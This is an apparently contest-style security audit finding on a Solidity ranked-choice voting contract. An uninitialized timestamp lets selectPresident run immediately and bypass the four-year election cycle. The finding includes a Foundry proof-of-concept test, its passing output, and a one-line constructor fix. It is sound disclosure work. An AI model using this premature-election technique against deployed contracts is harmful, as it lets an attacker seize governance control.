Summary
The s_previousVoteEndTimeStamp is not initialized in the constructor, allowing a call to selectPresident immediately after a single vote is cast, bypassing the intended 4-year (1460 day) election cycle.
Vulnerability Details
2024-09-president-elector/src/RankedChoice.sol at main · Cyfrin/2024-09-president-elector (github.com)
function selectPresident() external {
if (
@> block.timestamp - s_previousVoteEndTimeStamp <=
i_presidentalDuration
) {
revert RankedChoice__NotTimeToVote();
}
for (uint256 i = 0; i < VOTERS.length; i++) {
address[] memory orderedCandidates = s_rankings[VOTERS[i]][
s_voteNumber
];
for (uint256 j = 0; j < orderedCandidates.length; j++) {
if (!_isInArray(s_candidateList, orderedCandidates[j])) {
s_candidateList.push(orderedCandidates[j]);
}
}
}
selectPresidentis meant to called when atleast 1460 days has been passed. As per given condition, highlighted in provided snippet.
presidentalDuration is declared as 1460 days in the constructor, Although _s_previousVoteEndTimeStamp_value is not initialized. Which allows to pass the highlighted condition prematurely, Which ruins the whole purpose of voting.
POC
In existing test suite setup, add following test -
//// prev code as
function setUp() public {
for (uint256 i = 0; i < MAX_VOTERS; i++) {
voters.push(address(uint160(i + VOTERS_ADDRESS_MODIFIER)));
}
+ vm.warp(1726571325);
rankedChoice = new RankedChoice(voters);
for (uint256 i = 0; i < MAX_CANDIDATES; i++) {
candidates.push(address(uint160(i + CANDIDATES_ADDRESS_MODIFIER)));
}
}
+ function testPrematureElection() public {
+ // Assert the initial president is the contract deployer
+ assertEq(rankedChoice.getCurrentPresident(), address(this));
+ // Set up candidates and votes similar to the original test
+ address[] memory orderedCandidatesForTest = new address[]();
+ orderedCandidatesForTest[0] = candidates[0];
+ orderedCandidatesForTest[1] = candidates[1];
+ orderedCandidatesForTest[2] = candidates[2];
+ uint256 startingIndex = 0;
+ uint256 endingIndex = 2;
+ for (uint256 i = startingIndex; i < endingIndex; i++) {
+ vm.prank(voters[i]);
+ rankedChoice.rankCandidates(orderedCandidates);
+ }
+ startingIndex = endingIndex + 1;
+ endingIndex = 6;
+ orderedCandidates = [candidates[3], candidates[1], candidates[4]];
+ for (uint256 i = startingIndex; i < endingIndex; i++) {
+ vm.prank(voters[i]);
+ rankedChoice.rankCandidates(orderedCandidates);
+ }
+ // Try to select president immediately without waiting
+ rankedChoice.selectPresident();
+ // Assert that the president has changed prematurely
+ assertEq(
+ rankedChoice.getCurrentPresident(),
+ candidates[3],
+ "President is changed premauterly"
+ );
+ }
then run forge test --mt testPrematureElection -vv in the terminal and it will show following output.
[⠊] Compiling...
[⠰] Compiling 1 files with Solc 0.8.24
[⠔] Solc 0.8.24 finished in 1.36s
Compiler run successful!
Ran 1 test for test/RankedChoiceTest.t.sol:RankedChoiceTest
[PASS] testPrematureElection() (gas: 1301973)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.07ms (1.14ms CPU time)
Ran 1 test suite in 151.41ms (2.07ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
By bypassing the intended election cycle, potentially leading to an illegitimate president being elected prematurely after contract deployment. It could be exploited by a malicious actor to quickly seize control of the presidency before other voters have a chance to participate.
Tools Used
Manual Review, Foundry
Recommendations
Initialize the s_previousVoteEndTimeStamp value during constructor to fix this issue.
constructor(address[] memory voters) EIP712("RankedChoice", "1") {
VOTERS = voters;
i_presidentalDuration = 1460 days;
s_currentPresident = msg.sender;
s_voteNumber = 0;
+ s_previousVoteEndTimeStamp = block.timestamp;
}
